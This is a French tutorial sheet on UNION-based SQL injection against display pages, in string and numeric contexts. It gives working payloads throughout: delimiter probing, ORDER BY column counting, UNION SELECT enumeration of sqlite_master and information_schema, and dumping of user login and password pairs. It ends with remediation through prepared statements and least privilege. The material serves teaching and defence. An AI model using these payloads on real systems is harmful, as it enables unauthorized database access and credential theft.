Injection SQL UNION : extraire des données en contexte String et Numeric
Toutes les injections SQL ne visent pas un formulaire de connexion. Sur une page d’affichage (champ de recherche, filtre de catégorie, article par identifiant), l’objectif est d’extraire des données cachées de la base : mots de passe, autres tables, contenu réservé. La clause UNION sert précisément à greffer les résultats d’une requête choisie sur l’affichage légitime. Le contournement d’authentification, lui, est traité dans la fiche « Injection SQL : contourner un formulaire d’authentification ».
Deux contextes se présentent selon la façon dont l’entrée est insérée dans la requête : entre quotes (String) ou telle quelle comme nombre (Numeric).
Contexte String
Section intitulée « Contexte String »Sonder le délimiteur
Section intitulée « Sonder le délimiteur »La première action consiste à trouver le caractère qui délimite la chaîne côté serveur. On injecte, un par un :
test'test"Si l’un provoque une erreur SQL visible (Syntax error near...) ou fait disparaître l’affichage normal, le délimiteur est trouvé : la base a reçu une quote impaire et la syntaxe est brisée.
Fermer et commenter
Section intitulée « Fermer et commenter »Une fois le délimiteur connu (admettons la quote simple), le payload doit fermer proprement la chaîne, puis neutraliser le reste de la requête d’origine pour éviter une erreur de syntaxe :
' OR 1=1 --Le -- (avec l’espace final) commente tout ce qui suit.
Compter les colonnes avec ORDER BY
Section intitulée « Compter les colonnes avec ORDER BY »UNION exige que la seconde requête ait exactement le même nombre de colonnes que la première. ORDER BY révèle ce nombre en triant sur une colonne par son index :
' ORDER BY 1 --' ORDER BY 2 --' ORDER BY 3 --' ORDER BY 4 --Tant que la page s’affiche normalement, l’index est valide. Dès qu’elle se vide ou renvoie une erreur, l’index dépasse le nombre de colonnes. Si ORDER BY 3 fonctionne mais que ORDER BY 4 échoue, la requête compte exactement 3 colonnes.
Repérer les colonnes affichées
Section intitulée « Repérer les colonnes affichées »En forçant la recherche initiale à ne rien retourner (un terme improbable comme ZZZZZ), le UNION SELECT prend seul la place de l’affichage, ce qui montre quelles colonnes sont réellement rendues :
ZZZZZ' UNION SELECT 1, 2 --Les valeurs 1 ou 2 visibles à l’écran indiquent les positions exploitables pour l’extraction.
Énumérer le schéma
Section intitulée « Énumérer le schéma »Sous SQLite, la table système sqlite_master décrit toute la base :
-- Lister les tablesZZZZZ' UNION SELECT 1, tbl_name FROM sqlite_master WHERE type='table' --
-- Récupérer la structure d'une tableZZZZZ' UNION SELECT 1, sql FROM sqlite_master WHERE type='table' AND tbl_name='users' --
-- Extraire le champ viséZZZZZ' UNION SELECT 1, password FROM users --Sous MySQL, c’est information_schema qui joue ce rôle :
-- Tables de la base couranteZZZZZ' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() --
-- Colonnes d'une tableZZZZZ' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' --
-- Concaténer pour tout lire d'un coupZZZZZ' UNION SELECT 1, GROUP_CONCAT(login, 0x3a, password) FROM users --GROUP_CONCAT regroupe toutes les lignes en une seule valeur. 0x3a est le caractère : en hexadécimal, ce qui évite d’insérer une quote dans le payload.
Contexte Numeric
Section intitulée « Contexte Numeric »Quand l’entrée est intégrée comme un nombre, sans délimiteur, la requête ressemble à :
SELECT title, content FROM news WHERE id = $idUne quote provoquerait ici une erreur immédiate : il ne faut pas en ouvrir.
Sonder par l’arithmétique
Section intitulée « Sonder par l’arithmétique »Puisque la valeur est numérique, on teste si le serveur évalue une opération. Si la page normale affiche l’article d’id = 2 :
3-11+1Si 3-1 affiche bien l’article d’id = 2, la base a calculé l’opération avant la recherche : l’entrée est injectée brute, le contrôle est acquis.
Valider la logique, compter, extraire
Section intitulée « Valider la logique, compter, extraire »Le reste suit la même logique qu’en String, mais toujours sans quote initiale :
2 OR 1=1
2 ORDER BY 12 ORDER BY 22 ORDER BY 3
-- id inexistant pour n'afficher que les données injectées-1 UNION SELECT 1, 2, 3-1 UNION SELECT 1, tbl_name, 3 FROM sqlite_master-1 UNION SELECT 1, username, password FROM usersUn identifiant qui n’existe pas (-1, 99999) écarte les résultats légitimes pour ne laisser que les lignes du UNION.
Remédiation
Section intitulée « Remédiation »La cause est toujours la même : une entrée concaténée dans la requête. La parade est la requête préparée, qui sépare le code SQL des données, détaillée dans la fiche sur le contournement d’authentification. Un compte de base de données au moindre privilège limite en outre ce qu’un UNION peut atteindre : sans accès à information_schema ni aux tables sensibles, l’énumération se heurte à un mur.
À retenir
Section intitulée « À retenir »L’injection UNION suit une méthode stable : sonder le délimiteur, fermer et commenter, compter les colonnes à ORDER BY, puis greffer un UNION SELECT pour lire le schéma via sqlite_master ou information_schema. Le contexte Numeric applique la même démarche sans quote, en s’appuyant sur l’arithmétique pour confirmer l’injection. Dans les deux cas, seule la requête préparée ferme durablement la faille.